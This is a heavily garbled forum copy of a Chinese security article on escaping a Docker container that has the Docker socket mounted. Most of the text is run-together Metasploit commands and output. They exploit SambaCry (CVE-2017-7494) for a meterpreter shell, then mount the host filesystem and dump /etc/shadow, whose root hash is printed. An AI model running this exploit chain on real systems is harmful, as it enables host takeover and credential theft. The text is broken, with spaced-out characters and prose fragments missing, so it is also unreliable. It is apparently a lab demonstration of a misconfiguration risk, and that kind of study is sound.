[13468] 2018-11-27_利用Docker容器的不安全部署获取宿主机权限

文档创建者:s7ckTeam
浏览次数:5
最后更新:2025-01-18
2018-11-27_利用Docker容器的不安全部署获取宿主机权限 D o c k e r 宿 s e c i s t   F r e e B u f   2 0 1 8 - 1 1 - 2 7   c o n t a i n e r d o c k e r   s o c k e t 宿 宿 r o o t 使 d o c k e r d o c k e r 使 S a m b a C r y C V E - 2 0 1 7 - 7 4 9 4 o p s x c q / e x p l o i t - C V E - 2 0 1 7 - 7 4 9 4 S a m b a d o c k e r   s o c k e t d o c k e r S a m b a   C r y 使 M e t a s p l o i t b e l l o w d o c k e r   n e t w o r k   c r e a t e   p w n a g e d o c k e r   r u n   - - r m   - i t                 - - n a m e   v u l n e r a b l e                 - - n e t w o r k   p w n a g e                 - v   ' / v a r / r u n / d o c k e r . s o c k : / v a r / r u n / d o c k e r . s o c k '                 v u l n e r a b l e s / c v e - 2 0 1 7 - 7 4 9 4
p i n g s m b d o c k e r   r u n   - - r m   - i t                 - - n e t w o r k   p w n a g e                 - v   ' / u s r / b i n / d o c k e r : / d o c k e r : r o '                 s t r m / m e t a s p l o i t p i n g   - c   2   v u l n e r a b l e m s f 5   >   p i n g   - c   2   v u l n e r a b l e   [ * ]   e x e c :   p i n g   - c   2   v u l n e r a b l e   P I N G   v u l n e r a b l e   ( 1 7 2 . 2 0 . 0 . 2 )   5 6 ( 8 4 )   b y t e s   o f   d a t a . 6 4   b y t e s   f r o m   v u l n e r a b l e . p w n a g e   ( 1 7 2 . 2 0 . 0 . 2 ) :   i c m p _ s e q = 1   t t l = 6 4   t i m e = 0 . 1 2 0   m s 6 4   b y t e s   f r o m   v u l n e r a b l e . p w n a g e   ( 1 7 2 . 2 0 . 0 . 2 ) :   i c m p _ s e q = 2   t t l = 6 4   t i m e = 0 . 0 9 7   m s - - -   v u l n e r a b l e   p i n g   s t a t i s t i c s   - - - 2   p a c k e t s   t r a n s m i t t e d ,   2   r e c e i v e d ,   0 %   p a c k e t   l o s s ,   t i m e   1 0 0 9 m s r t t   m i n / a v g / m a x / m d e v   =   0 . 0 9 7 / 0 . 1 0 8 / 0 . 1 2 0 / 0 . 0 1 5   m s
s a m b a d a t a s h e l l 宿 s h e l l M e t a s p l o i t i s _ k n o w n _ p i p e n a m e e x p l o i t / l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e b e l l o w 宿 m e t e r p r e t e r   s h e l l d o c k e r   s o c k e t d o c k e r 宿 r o o t r o o t 使 p r i v i l e g e d d o c k e r u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ e n u m s h a r e s s e t   r h o s t s   v u l n e r a b l e r u n m s f 5   >   u s e   a u x i l i a r y / s c a n n e r / s m b / s m b _ e n u m s h a r e s m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ e n u m s h a r e s )   >   s e t   r h o s t s   v u l n e r a b l e r h o s t s   = >   v u l n e r a b l e m s f 5   a u x i l i a r y ( s c a n n e r / s m b / s m b _ e n u m s h a r e s )   >   r u n [ + ]   1 7 2 . 2 0 . 0 . 2 : 1 3 9                 -   d a t a   -   ( D S )   D a t a [ + ]   1 7 2 . 2 0 . 0 . 2 : 1 3 9                 -   I P C $   -   ( I )   I P C   S e r v i c e   ( C r y i n g   s a m b a ) [ * ]   v u l n e r a b l e :                       -   S c a n n e d   1   o f   1   h o s t s   ( 1 0 0 %   c o m p l e t e ) [ * ]   A u x i l i a r y   m o d u l e   e x e c u t i o n   c o m p l e t e d u s e   e x p l o i t / l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e s e t   R H O S T   v u l n e r a b l e s e t   R P O R T   4 4 5 s e t   p a y l o a d   l i n u x / x 6 4 / m e t e r p r e t e r / b i n d _ t c p s e t   T A R G E T   3 s e t   S M B _ F O L D E R   d a t a s e t   S M B U s e r   s a m b a c r y s e t   S M B P a s s   n o s a m b a n o c r y e x p l o i t m s f 5   >   u s e   e x p l o i t / l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   R H O S T   v u l n e r a b l e R H O S T   = >   v u l n e r a b l e m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   R P O R T   4 4 5 R P O R T   = >   4 4 5 m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   p a y l o a d   l i n u x / x 6 4 / m e t e r p r e t e r / b i n d _ t c p p a y l o a d   = >   l i n u x / x 6 4 / m e t e r p r e t e r / b i n d _ t c p m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   T A R G E T   3 T A R G E T   = >   3 m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   S M B _ F O L D E R   d a t a S M B _ F O L D E R   = >   d a t a m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   S M B U s e r   s a m b a c r y S M B U s e r   = >   s a m b a c r y m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   s e t   S M B P a s s   n o s a m b a n o c r y S M B P a s s   = >   n o s a m b a n o c r y m s f 5   e x p l o i t ( l i n u x / s a m b a / i s _ k n o w n _ p i p e n a m e )   >   e x p l o i t [ * ]   v u l n e r a b l e : 4 4 5   -   U s i n g   l o c a t i o n   v u l n e r a b l e d a t a   f o r   t h e   p a t h [ * ]   v u l n e r a b l e : 4 4 5   -   R e t r i e v i n g   t h e   r e m o t e   p a t h   o f   t h e   s h a r e   ' d a t a ' [ * ]   v u l n e r a b l e : 4 4 5   -   S h a r e   ' d a t a '   h a s   s e r v e r - s i d e   p a t h   ' / d a t a [ * ]   v u l n e r a b l e : 4 4 5   -   U p l o a d e d   p a y l o a d   t o   v u l n e r a b l e d a t a s h y y E P P k . s o [ * ]   v u l n e r a b l e : 4 4 5   -   L o a d i n g   t h e   p a y l o a d   f r o m   s e r v e r - s i d e   p a t h   / d a t a / s h y y E P P k . s o   u s i n g   P I P E / d a t a / s h y y E P P k . s o . . . [ - ]   v u l n e r a b l e : 4 4 5   -       > >   F a i l e d   t o   l o a d   S T A T U S _ O B J E C T _ N A M E _ N O T _ F O U N D [ * ]   v u l n e r a b l e : 4 4 5   -   L o a d i n g   t h e   p a y l o a d   f r o m   s e r v e r - s i d e   p a t h   / d a t a / s h y y E P P k . s o   u s i n g   / d a t a / s h y y E P P k . s o . . . [ - ]   v u l n e r a b l e : 4 4 5   -       > >   F a i l e d   t o   l o a d   S T A T U S _ O B J E C T _ N A M E _ N O T _ F O U N D [ * ]   S t a r t e d   b i n d   T C P   h a n d l e r   a g a i n s t   v u l n e r a b l e : 4 4 4 4 [ * ]   S e n d i n g   s t a g e   ( 8 1 6 2 6 0   b y t e s )   t o   v u l n e r a b l e m e t e r p r e t e r   >
D o c k e r 访 p r i v i l e g e d 访 d o c k e r   r u n   p r i v i l e g e d D o c k e r 访 D o c k e r a p p a r m o r s e l i n u x 使 访 使 d e v i c e 访 t o o r   ( / )   访 d o c k e r d o c k e r 使 d o c k e r 访 宿 M e t a s p l o i t   d o c k e r   i m a g e V u l n e r a b l e   c o n t a i n e r * s t r m F B s e c i s t F r e e B u f . C O M u p l o a d   / d o c k e r   / d o c k e r u p l o a d   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 c h m o d   7 7 7   / d o c k e r c h m o d   + x   / d o c k e r m e t e r p r e t e r   >   u p l o a d   / d o c k e r   / d o c k e r [ * ]   u p l o a d i n g     :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 6 . 3 6   M i B   ( 0 . 0 % ) :   / d o c k e r   - >   / d o c k e r [ * ]   u p l o a d e d       :   / d o c k e r   - >   / d o c k e r m e t e r p r e t e r   >   u p l o a d   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 [ * ]   u p l o a d i n g     :   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   - >   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 [ * ]   U p l o a d e d   - 1 . 0 0   B   o f   3 8 . 4 7   K i B   ( - 0 . 0 % ) :   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   - >   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 [ * ]   u p l o a d e d       :   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7   - >   / u s r / l i b / x 8 6 _ 6 4 - l i n u x - g n u / l i b l t d l . s o . 7 m e t e r p r e t e r   >   c h m o d   7 7 7   / d o c k e r m e t e r p r e t e r   >   c h m o d   + x   / d o c k e r m e t e r p r e t e r   > e x e c u t e   - f   / d o c k e r   - i   - H   - c   - a   " r u n   - - r m   - v   ' / : / r o o t f s '   d e b i a n : 9 . 2   c a t   / r o o t f s / e t c / s h a d o w " m e t e r p r e t e r   >   e x e c u t e   - f   / d o c k e r   - i   - H   - c   - a   " r u n   - - r m   - v   ' / : / r o o t f s '   d e b i a n : 9 . 2   c a t   / r o o t f s / e t c / s h a d o w " P r o c e s s   1 1 3   c r e a t e d . C h a n n e l   1 3   c r e a t e d . r o o t : $ 1 $ U F K d t F G w $ q p 2 9 y 1 q G W i t / v n v I G 0 u S r 1 : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : d a e m o n : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : b i n : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : s y s : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : s y n c : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : g a m e s : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : m a n : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : l p : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : m a i l : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : : n e w s : * : 1 7 4 8 8 : 0 : 9 9 9 9 9 : 7 : : :

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则